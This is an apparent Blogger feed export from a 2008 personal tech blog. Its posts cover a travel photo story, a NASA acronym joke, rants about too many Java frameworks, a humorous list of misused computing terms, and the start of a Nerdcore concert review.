src="http://2.bp.blogspot.com/_RKccMqogNXc/SU6GX6rm81I/AAAAAAAAAGg/vTcdVWMMgac/s400/P3210.jpg" alt="" id="BLOGGER_PHOTO_ID_5282307158399447890" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Oh, great security guys!  Anyone can just walk out onto the runway?!?  Hello!?  I'm just a stranger walking on your runway...carrying a duffel bag and a roll of duct tape.  I'm sure there's NOT a perfectly logical explanation for this...&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_RKccMqogNXc/SU6GDkGWPcI/AAAAAAAAAGI/OwirqTlgp34/s1600-h/P3230.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://1.bp.blogspot.com/_RKccMqogNXc/SU6GDkGWPcI/AAAAAAAAAGI/OwirqTlgp34/s400/P3230.jpg" alt="" id="BLOGGER_PHOTO_ID_5282306808740199874" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I think what scared me most were those giant numbers on the runway...because you know any number printed that big implies that something really big is supposed to be right where I'm standing.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_RKccMqogNXc/SU6GDQAxKII/AAAAAAAAAGA/Cl5U70GlVVo/s1600-h/P3260.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://3.bp.blogspot.com/_RKccMqogNXc/SU6GDQAxKII/AAAAAAAAAGA/Cl5U70GlVVo/s400/P3260.jpg" alt="" id="BLOGGER_PHOTO_ID_5282306803348088962" border="0"&gt;&lt;/a&gt;&lt;br /&gt;I couldn't leave without a parting gift.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_RKccMqogNXc/SU6GC-jMjtI/AAAAAAAAAF4/owSK1kms5rY/s1600-h/P3270.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://4.bp.blogspot.com/_RKccMqogNXc/SU6GC-jMjtI/AAAAAAAAAF4/owSK1kms5rY/s400/P3270.jpg" alt="" id="BLOGGER_PHOTO_ID_5282306798660652754" border="0"&gt;&lt;/a&gt;&lt;br /&gt;In case you can't read the small blurry text, it says "Bert at age 3, 1877" and "Bert at age 1, 1875".  I bet you had no idea I was that old!  :)  Actually this is Herbert "Bert" Hoover at some history museum I went to.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_RKccMqogNXc/SU6GCu6VZVI/AAAAAAAAAFw/jyVBjRHvjdg/s1600-h/P3410.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://4.bp.blogspot.com/_RKccMqogNXc/SU6GCu6VZVI/AAAAAAAAAFw/jyVBjRHvjdg/s400/P3410.jpg" alt="" id="BLOGGER_PHOTO_ID_5282306794462733650" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;As the mighty evil Berlin Wall fell, so did the mighty evil Enrollment Card project!  May such monstrosities never again be constructed!&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_RKccMqogNXc/SU6GCvpC1JI/AAAAAAAAAFo/0w4LIHw_Bbw/s1600-h/P3460.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://1.bp.blogspot.com/_RKccMqogNXc/SU6GCvpC1JI/AAAAAAAAAFo/0w4LIHw_Bbw/s400/P3460.jpg" alt="" id="BLOGGER_PHOTO_ID_5282306794658649234" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;And that was the last page from my folder, and the end of the worst project of my life.&lt;br /&gt;&lt;br /&gt;I don't condone littering...so in retrospect this was a pretty immature thing to do on my part.  I would never do this again, but I can't deny that the satisfaction at the time was so great that it lingers even 7+ years later.  :) &lt;br /&gt;&lt;br /&gt;And I can't help but wonder what people thought as they found those documents...&lt;br /&gt;&lt;br /&gt;Since this all happened right after 9/11, there was heavy security at the Sears Tower, and at the St. Louis Arch, and at the courthouse, and hopefully at least camera security at that airport.  So, the funny thought that crossed my mind is that they DID notice me, and matched up my picture from all these places...and somewhere in the NSA there are agents assigned to my case, and they have a wall covered with all my documents, and they've spent years trying to figure out what it all meant.  "These documents MEAN something!  If only we could break the code!!"  &lt;br /&gt;&lt;br /&gt;Good luck guys.  Corporate process language is a tough code to crack!  :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/font&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5680951-2910223003638869200?l=dogic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dogic.blogspot.com/feeds/2910223003638869200/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5680951&amp;postID=2910223003638869200' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/2910223003638869200'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/2910223003638869200'/><link rel='alternate' type='text/html' href='http://dogic.blogspot.com/2008/12/ghost-of-projects-past.html' title='The ghost of projects past!'/><author><name>Dogic</name><uri>http://www.blogger.com/profile/14325219327670723983</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_RKccMqogNXc/SU6KMHiF10I/AAAAAAAAAOA/NjfMYGmgNNQ/s72-c/P0310.jpg' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5680951.post-7958136836971827117</id><published>2008-12-02T18:34:00.005-06:00</published><updated>2008-12-02T21:17:23.251-06:00</updated><title type='text'>The worst hackronym ever</title><content type='html'>&lt;span style="font-family:Arial; color:black"&gt;&lt;br /&gt;The award for worst hackronym ever goes to:&lt;br /&gt;&lt;br /&gt;NASA (&lt;span style="color:red"&gt;N&lt;/span&gt;ational &lt;span style="color:red"&gt;A&lt;/span&gt;ssociation for &lt;span style="color:red"&gt;S&lt;/span&gt;tupid &lt;span style="color:red"&gt;A&lt;/span&gt;cronyms) for naming their Mercury probe "MESSENGER".&lt;br /&gt;&lt;br /&gt;I didn't know until today that MESSENGER stands for "&lt;span style="color:red"&gt;ME&lt;/span&gt;rcury &lt;span style="color:red"&gt;S&lt;/span&gt;urface, &lt;span style="color:red"&gt;S&lt;/span&gt;pace &lt;span style="color:red"&gt;EN&lt;/span&gt;vironment, &lt;span style="color:red"&gt;GE&lt;/span&gt;ochemistry and &lt;span style="color:red"&gt;R&lt;/span&gt;anging".&lt;br /&gt;&lt;br /&gt;Space ENvironment? GEochemistry and Ranging?!?&lt;br /&gt;&lt;br /&gt;They obviously don't care how tortured their acronyms are, so they might as well use something clear like: &lt;br /&gt;&lt;br /&gt;"A re&lt;span style="color:red"&gt;m&lt;/span&gt;ote prob&lt;span style="color:red"&gt;e&lt;/span&gt; that will &lt;span style="color:red"&gt;s&lt;/span&gt;can the &lt;span style="color:red"&gt;s&lt;/span&gt;urface of M&lt;span style="color:red"&gt;e&lt;/span&gt;rcury and retur&lt;span style="color:red"&gt;n&lt;/span&gt; ima&lt;span style="color:red"&gt;g&lt;/span&gt;es back to &lt;span style="color:red"&gt;E&lt;/span&gt;a&lt;span style="color:red"&gt;r&lt;/span&gt;th."&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5680951-7958136836971827117?l=dogic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dogic.blogspot.com/feeds/7958136836971827117/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5680951&amp;postID=7958136836971827117' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/7958136836971827117'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/7958136836971827117'/><link rel='alternate' type='text/html' href='http://dogic.blogspot.com/2008/12/worst-hackronym-ever.html' title='The worst hackronym ever'/><author><name>Dogic</name><uri>http://www.blogger.com/profile/14325219327670723983</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5680951.post-3238817829948758559</id><published>2008-11-30T12:23:00.002-06:00</published><updated>2008-11-30T12:52:58.744-06:00</updated><title type='text'>There are no informed consumers in Java</title><content type='html'>&lt;span style="font-family:Arial; color:black;"&gt;&lt;br /&gt;I've now received 1 comment and 2 e-mails expressing this opinion that choice is good for the "informed consumer".&lt;br /&gt;&lt;br /&gt;In general, I would agree. But where I disagree is in the world of technology, and especially Java.&lt;br /&gt;&lt;br /&gt;How can you POSSIBLY be an informed consumer in Java? There is no way, that I know of, to get an accurate assessment of individual frameworks in Java without personally spending a year using each framework every day on a major project.&lt;br /&gt;&lt;br /&gt;You cannot possibly learn the long-term ramifications of these frameworks without long-term exposure. It took well over 2 years for the Java Community to "figure out" the design implications of EJB 2.x.&lt;br /&gt;&lt;br /&gt;If it takes you a year to fully analyze a Web Framework in Java, and there are 6 major competing Web Frameworks, then it will take you 6 years to be a "informed consumer" so that you can make your choice. (And by then there will be 6 NEW frameworks to choose from.)&lt;br /&gt;&lt;br /&gt;This is not like buying a toaster where you can just go to Consumer Reports and compare features and recommendations on a nice spreadsheet. There is no equivalent of "Consumer Reports" (that I know of) for Java technologies. (The intangible things that make frameworks easy or difficult to use do not lend themselves to simple spreadsheets in any case.)&lt;br /&gt;&lt;br /&gt;Instead, what we have is a lot of Java trade journals that will publish anyone's well-written pseudo-technical marketing spiel for a given framework. If you go looking for unbiased opinions on "EJB vs. Spring", you have as much luck as finding unbiased opinions on "Republicans vs. Democrats". Nobody, and I mean *NOBODY*, writes these technical articles from an unbiased no-spin position.&lt;br /&gt;&lt;br /&gt;The only half-ass measure of framework quality is to try and count the number of developers who use it. I've seen many articles that argue the superiority of one framework over another based on the number of Java job posting that reference that framework. That's just lame, and is too easily corrupted by the &lt;a href="http://en.wikipedia.org/wiki/Sheeple"&gt;sheeple&lt;/a&gt; effect. At best you become an informed lemming.&lt;br /&gt;&lt;br /&gt;So, good luck with your informed consumerism guys. Let me know if that really works for you.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5680951-3238817829948758559?l=dogic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dogic.blogspot.com/feeds/3238817829948758559/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5680951&amp;postID=3238817829948758559' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/3238817829948758559'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/3238817829948758559'/><link rel='alternate' type='text/html' href='http://dogic.blogspot.com/2008/11/there-are-no-informed-consumers-in-java.html' title='There are no informed consumers in Java'/><author><name>Dogic</name><uri>http://www.blogger.com/profile/14325219327670723983</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5680951.post-8221429853198457426</id><published>2008-11-24T13:56:00.014-06:00</published><updated>2008-11-25T09:52:08.795-06:00</updated><title type='text'>The Pardox of Choice</title><content type='html'>&lt;span style="font-family:Arial; color:black;"&gt;&lt;br /&gt;I've recently been evaluating Spring 2.5 vs. EJB 3.0 (and 3.1). I've also been evaluating Wicket vs. Tapestry.&lt;br /&gt;&lt;br /&gt;I've come to one conclusion: I hate choice.&lt;br /&gt;&lt;br /&gt;It is 2008, and it is STILL impractical to write reusable web/business/data components Java. And that's due to having too much choice and no strong (or acceptable) standards.&lt;br /&gt;&lt;br /&gt;When I use the term "component", I mean more than just a set of shared .class files. A component is a piece of software that adheres to an official specification or framework. This gives it better portability and reusability in a plug-and-play fashion. It also allows tools to be written that know how to service or add value to these components.&lt;br /&gt;&lt;br /&gt;The reason we can't write components in Java is because there are no such specifications or frameworks that any majority of the Java developers will agree to use! JSF is supposed to be the "standard" for web components, but it was too little and too late. Too many applications are already written in other frameworks. Java is in it's mature stage, and it's a little late to try and define fundamental parts of the platform now!&lt;br /&gt;&lt;br /&gt;A Tapestry component won't work in Wicket or Spring-MVC. A Hibernate component won't work in Toplink, iBatis, or even the new JPA "standard". I've seen different implementations of the JPA spec that aren't even compatible with each other!&lt;br /&gt;&lt;br /&gt;Many people argue that having so much choice is good for Java. I believe this is wrong. &lt;br /&gt;&lt;br /&gt;Choice is something that is useful at a tangible product level, like a choice of ice cream or choice of cars. But nobody would buy a Ford if they had to personally choose from dozens of different vendors for each and every part that went into the Ford. Can you imagine being asked if you wanted to use fuel injectors from Sun, Spring, IBM, Red Hat, or Apache? How could you possibly know without taking the time to drive each one for 100,000 miles? You could do research and read other opinions of these transmissions, but opinions are always biased and it's too easy to manipulate opinion through marketing or FUD.&lt;br /&gt;&lt;br /&gt;Even if Ford wrote strong specs for all the parts, using different vendors for each part would cause an exponential number of possible configurations that can’t all be tested together.&lt;br /&gt;&lt;br /&gt;The Ford would be fundamentally unreliable (even more so), just a Java becomes fundamentally unstable if you mix vendors. A car must be developed all at once, so that a given configuration of parts and vendors can be heavily tested and standardized. This makes maintenance easier as well. Ford picks the vendors so you don't have to. Ford is in a better position to study vendors and make those decisions than you are.&lt;br /&gt;&lt;br /&gt;Likewise a software development platform should be developed all at once and standardized, as was done with .NET and Ruby. &lt;br /&gt;&lt;br /&gt;Java developers are forced to spend a significant percentage of their development time evaluating frameworks and writing platform code. Being a Java developer means spending almost as much time solving your environment as you spend solving the actual business problems at hand.&lt;br /&gt;&lt;br /&gt;I have over 10 years of Java experience now, and yet I still have to approach every new framework as if I just learned Java yesterday. If we had one standard that Java had just stuck to all this time (with only incremental improvements), I would be a guru on that standard by now. &lt;br /&gt;&lt;br /&gt;Having many choices in Java is only exciting if you are really into the Computer Science aspects of Java and don't mind spending all your time in the technology and not actually solving real-world problems. And honestly, most good professional coders fall into that category, and that's what has kept developers from abandoning Java en masse.  It's actually fun to re-invent wheels.  :)&lt;br /&gt;&lt;br /&gt;Linux has the same problem. People who live and breathe Linux always want to keep learning new Linux things, and they love the fact that Linux has so many different distributions. If you love Linux, then what could be better than ever more flavors of Linux!  &lt;br /&gt;&lt;br /&gt;But in the broader market place, people just want an OS to work, and they don't care to know how it works. The battle between Gnome and KDE needs to end RIGHT NOW. Linux will never succeed in the real world if it can't even standardize the desktop! Sheesh!&lt;br /&gt;&lt;br /&gt;Having choice increases complexity, and software is already complex enough as it is.  People struggle enough with learning an OS without having to learn two different desktop managers!  (And don't tell me "They could learn just one and stick with it" because that is demonstrably NOT a realistic option for non-techies.)&lt;br /&gt;&lt;br /&gt;In the development world, we have enough choice with having .NET, Java, Ruby, and various scripting languages to choose from. That gives us flexibility in platform choice. We don't need a ton of added flexibility (and complexity) WITHIN these platforms.&lt;br /&gt;&lt;br /&gt;I admit, I had fun learning EJB3, and I had fun learning Spring-MVC, and I have fun learning new technologies and getting them to work. That's great. &lt;br /&gt;&lt;br /&gt;But the reason I've been learning these frameworks is that I need to make some real-world decisions about what technologies we are going to use in the future. And that's when I realize that choice sucks. We have Java applications that are written in almost every conceivable combination of these technologies, and it makes it impossible to share code or even share developers between projects! &lt;br /&gt;&lt;br /&gt;You can't expect any Java developer to be an expert in every framework...because Java has too many. So, as if finding qualified Java developers wasn't hard enough, now you have to find Java developers who are skilled in the specific frameworks you have chosen for a specific application!&lt;br /&gt;&lt;br /&gt;"Sorry, we aren't looking to hire a JSF/EJB/JPA Java developer. We are looking for Wicket/Spring/Hibernate developers."  &lt;br /&gt;&lt;br /&gt;And such is the sad state of affairs when you have too much choice.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Here is a good video on the Paradox of Choice as applied to our everyday world. Almost all of the points he makes can be applied to coding:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/VO6XEQIsCoM&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/VO6XEQIsCoM&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5680951-8221429853198457426?l=dogic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dogic.blogspot.com/feeds/8221429853198457426/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5680951&amp;postID=8221429853198457426' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/8221429853198457426'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/8221429853198457426'/><link rel='alternate' type='text/html' href='http://dogic.blogspot.com/2008/11/pardox-of-choice.html' title='The Pardox of Choice'/><author><name>Dogic</name><uri>http://www.blogger.com/profile/14325219327670723983</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5680951.post-2967632357012170079</id><published>2008-11-15T08:29:00.020-06:00</published><updated>2008-12-23T09:39:04.780-06:00</updated><title type='text'>Word Recycling (Top Ten)</title><content type='html'>&lt;br/&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_RKccMqogNXc/SR8XQQWJz1I/AAAAAAAAAEo/pDVinD_6UPY/s1600-h/grammar_crackers_large.gif"&gt;&lt;img style="margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 400px; height: 400px;" src="http://4.bp.blogspot.com/_RKccMqogNXc/SR8XQQWJz1I/AAAAAAAAAEo/pDVinD_6UPY/s400/grammar_crackers_large.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5268955657080000338" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: normal;font-family:Arial;font-size:14px;color:black;" &gt;&lt;br /&gt;Recycling is good for the environment, but bad for the English language.&lt;br /&gt;&lt;br /&gt;I have had a long standing gripe that Computer Science reuses English words in inappropriate ways. Other self-respecting professions (like doctors, lawyers, and scientists) invent new words and phrases (usually in Latin) to describe a new concept. Latin is also a more neutral language that doesn't ruffle the feathers of people who don't speak English.&lt;br /&gt;&lt;br /&gt;But nevertheless, Computer Science relentlessly looks for existing English words to recycle in confusing ways.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;&lt;u&gt;Top 10 worst recycled words in Computer Science&lt;/u&gt;&lt;/h3&gt;&lt;dl&gt;&lt;dt&gt;#10 - Window&lt;/dt&gt;&lt;dd&gt;We've gotten so used to this term that we don't realize it's a bad reuse of an English word that describes something completely unrelated to computers. There are tech-support stories of people being told "close your window" and they go and close the window in their room. That's only funny because our industry has created a pervasive double-meaning for what used to be a clear and concise term.&lt;br /&gt;&lt;/dd&gt;&lt;br /&gt;&lt;dt&gt;#9 - Mouse&lt;/dt&gt;&lt;dd&gt;Aside from having no feet, no eyes, no fur, and an impossibly long tail that comes out of its HEAD...I suppose this pointing device could look like a very minimalistic rodent. But for such an important device, it really deserved it's own unique word.&lt;br /&gt;&lt;br /&gt;What about wireless mice? Should we call them "hamsters"?&lt;br /&gt;&lt;/dd&gt;&lt;br /&gt;&lt;dt&gt;#8 Java&lt;/dt&gt;&lt;dd&gt;It was a *horrible* idea to name a programming language after a beverage...especially one that implies the coder culture of stress, sleep deprivation and not having a life. In the early days it was even a hindrance to Java being accepted as a serious language. You might as well have called it "Mountain Dew".&lt;br /&gt;&lt;br /&gt;I can't count the number of times I've tried to search for a technical article on Java and ended up finding pages about coffee or Indonesia. I don't even like coffee! What happened to inventing unique names for languages, like COBOL, FORTRAN, ALGOL, and PL/1?&lt;br /&gt;&lt;br /&gt;What's worse about this name is that it spawns dozens of other bad names in the Java community. Java objects are now called "Java Beans"...like Coffee Beans...get it? If you did, I'm sorry, because that's retarded. Then there because Java tools like Mocha and Espresso and Caffeine. And to top it all off, the official Sun logo for the Java Programming Language is a stylized drawing of a steaming cup of coffee! &lt;br /&gt;&lt;br /&gt;Really people, this is unbelievably stupid, and the non-techies are laughing at us.&lt;br /&gt;&lt;/dd&gt;&lt;br /&gt;&lt;dt&gt;#7 - Bus&lt;/dt&gt;&lt;dd&gt;This implies a slow lumbering vehicle, not a high-speed communication channel. I'm trying to imagine a vehicle that travels sideways while occupying 32 or 64 lanes of traffic at once. Or, if it's a serial bus, then each bus can hold 1 person...and if another bus loads a passenger before the previous bus has reached its destination...then both passengers fuse together into one person...like some kind of horrible Star Trek transporter accident...&lt;br /&gt;&lt;br /&gt;What about a system bus that runs underneath the top layer of a motherboard? Do we call those "subways"?&lt;br /&gt;&lt;/dd&gt;&lt;br /&gt;&lt;dt&gt;#6 - Persistence&lt;/dt&gt;&lt;dd&gt;If you mean "store in a database" then say "store in a database". Persistence is an awful reuse of a perfectly good English word. When I think of persistent data, I think of data that won't leave you alone...data that keeps calling your cellphone and then hanging up. You walk down the sidewalk and you think you spot data standing across the street...you turn to look...a 64-lane bus passes between you...and then data is gone...&lt;br /&gt;&lt;br /&gt;The concept of persistence was extended to a popular O/R mapping technology called "Hibernate"...which again is just "store in a database" and not "wait until spring to retrieve your data." &lt;br /&gt;&lt;/dd&gt;&lt;br /&gt;&lt;dt&gt;#5 - Boot&lt;/dt&gt;&lt;dd&gt;To start a computer you "boot" the computer? Apparently "boot" comes from the phrase "Pulling yourself up by your bootstraps"...which is a phrase nobody uses anymore. You cannot actually lift yourself by your bootstraps (if your boots even HAVE bootstraps). If you try to pull someone else up by their bootstraps, you'll flip them over and dangle them upside down.&lt;br /&gt;&lt;br /&gt;This phrase was probably clever 50 years ago when it was first used...at a time when making a self-starting computer seemed paradoxical. But for the 99.999% of the population who don't know the technical details of bootstrap loaders in early computers, this term is confusing.&lt;br /&gt;&lt;/dd&gt;&lt;br /&gt;&lt;dt&gt;#4 - Object&lt;/dt&gt;&lt;dd&gt;Object Oriented programming is an entire paradigm built on poorly recycled language. Suddenly a perfectly good programming term like "function" became a weird "method", "parameter" became a "message", "modify" became "mutate", "structure" became "class", and everything became an "object". Yikes!&lt;br /&gt;&lt;br /&gt;If you are gonna misuse an English word anyway, why not call it "Thing Oriented Programming"? That's no more vague, and at least you have a cool acronym like "TOP" instead of dopey "OOP"&lt;br /&gt;&lt;/dd&gt;&lt;br /&gt;&lt;dt&gt;#3 - Server/Service&lt;/dt&gt;&lt;dd&gt;These words are used interchangeably because they suffer from the problem of being so over-applied as to be meaningless. "Our server application is served from application server which runs on the same server as our web server and our web services, but the Microsoft SQL Server Database Server runs as a Windows service on a Windows Server 2008 server." That sentence makes perfect sense to me, and that bothers me. We use the word "server" like the word "smurf".&lt;br /&gt;&lt;br /&gt;Other words that have been over-smurfed to the point of being smurfing meaningless: Interface. System. Monitor. Application. &lt;br /&gt;&lt;/dd&gt;&lt;br /&gt;&lt;dt&gt;#2 - Cookie&lt;/dt&gt;&lt;dd&gt;Apparently, a cookie can be "a dessert food", or it can be "a line-terminated segment of data transmitted over the HTTP protocol from the server to the browser and then back to the server on all subsequent requests so as to retain domain-constrained information associated with a user."&lt;br /&gt;&lt;br /&gt;How on Earth did they come up with "cookie"? A browser cookie is not round, not sweet, not baked, not made of dough, not rolled, not sliced, not decorated, not flavored, and not eaten! So this is an inexcusable reuse by someone who was trying to be cute!&lt;br /&gt;&lt;br /&gt;All over the world, every person who learns to use the web has to tackle this new double meaning of the word "cookie" at some point. If you don't speak English, then it's even funnier when you have to decide whether to use the English word "cookie" or use the local word that means a small round dessert food.&lt;br /&gt;&lt;/dd&gt;&lt;br /&gt;&lt;dt&gt;#1 - Design Patterns&lt;/dt&gt;&lt;dd&gt;This is not a single recycled word, but rather an entire division of Computer Science that is dedicated solely to misusing English words! There are patterns like Mutator, Strategy, Observer, Facade, Factory, Adapter, etc.&lt;br /&gt;&lt;br /&gt;These are all ridiculous and confusing and make for hard-to-parse conversations. "I added an Observer to my Factory Facade Strategy, and now my Flyweight Composite Adapter uses the Decorator Mediator Singleton..."&lt;br /&gt;&lt;br /&gt;We are taking common nouns that have a known and widely accepted meaning, and attaching completely different meanings to them. To normal people hearing our conversations, we sound INSANE, like "I Tuna Skip Juice across the Songbird North Paste Skies until Tangerine Fly...where rocking horse people eat marshmallow pies..."&lt;br /&gt;&lt;br /&gt;I swear, if we had Latin words for all of those things, we would sound SO cool, and they would pay us so much more money and leave us alone!&lt;/dd&gt;&lt;br /&gt;&lt;/dl&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;&lt;u&gt;Honorable mentions&lt;/u&gt;&lt;/h3&gt;&lt;dl&gt;&lt;dt&gt;Mother Board&lt;/dt&gt;&lt;dd&gt;Is there a Father Board? Do electronics breed?&lt;br /&gt;&lt;/dd&gt;&lt;br /&gt;&lt;dt&gt;Sprite&lt;/dt&gt;&lt;dd&gt;A mythological creature...or a bitmap. If you wanted to be cute, you should have called it a Pixie...because it's made of Pixels! :)&lt;br /&gt;&lt;/dd&gt;&lt;br /&gt;&lt;dt&gt;Bluetooth&lt;/dt&gt;&lt;dd&gt;Gross! This sounds like a horrible dental disease! Someone invested a tremendous amount of time and money to invent this technology, but they couldn't be bothered to invest a few minutes to come up with a better name than this?&lt;br /&gt;&lt;br /&gt;How many people know their 10th century Danish kings? I guess all the other cool color names were already trademarked by Red Baron, Pink Panther, Gold Finger, Silver Surfer, White Zombie, BlackBerry, Mr. Green Jeans, The Indigo Girls, Charlie Brown, and Gandalf the Grey. &lt;/dd&gt;&lt;br /&gt;&lt;br /&gt;&lt;dt&gt;Subversion&lt;/dt&gt;&lt;dd&gt;Actually this one should be in top 10, except I thought of it after I had already posted this list.  Subversion is a Version Control tool, and it's so popular and wisespread that developers are used to hearing the name.  But to people outside the development community, I'm sure it makes them uneasy to hear us developers talking about "subversion" all the time.  It makes us look either dangerous or weird or both.&lt;br /&gt;&lt;/dd&gt;&lt;br /&gt;&lt;/dl&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5680951-2967632357012170079?l=dogic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dogic.blogspot.com/feeds/2967632357012170079/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5680951&amp;postID=2967632357012170079' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/2967632357012170079'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/2967632357012170079'/><link rel='alternate' type='text/html' href='http://dogic.blogspot.com/2008/11/word-recycling-top-ten.html' title='Word Recycling (Top Ten)'/><author><name>Dogic</name><uri>http://www.blogger.com/profile/14325219327670723983</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_RKccMqogNXc/SR8XQQWJz1I/AAAAAAAAAEo/pDVinD_6UPY/s72-c/grammar_crackers_large.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5680951.post-9157470492063545004</id><published>2008-11-11T23:43:00.021-06:00</published><updated>2008-11-12T13:09:03.674-06:00</updated><title type='text'>Nerdcore 2008</title><content type='html'>&lt;span style="font-family:Arial;font-size:14;color:black;"&gt;I just got back from a Nerdcore concert featuring MC Frontalot, MC Lars, YTC (YT Cracker), and a few other opening act Nerdcore artists. I caught the concert in both Chicago and Minneapolis. It was quite amazing. Having attended these concerts in previous years, I was glad to see the range and depth and quality of material is continuing to grow.  The performances were awesome and really rocked the house.&lt;br /&gt;  &lt;br /&gt;I actually took a camera with me this time, but let me start with my standard disclaimers about pictures:&lt;br /&gt;&lt;br /&gt;1) I only have a little point-n-shoot camera with limited resolution and a slow shutter speed.&lt;br /&gt;2) I have very little practice using a camera. I'm just not a camera person and I don't care to learn how to use one properly.&lt;br /&gt;3) I didn't want to be 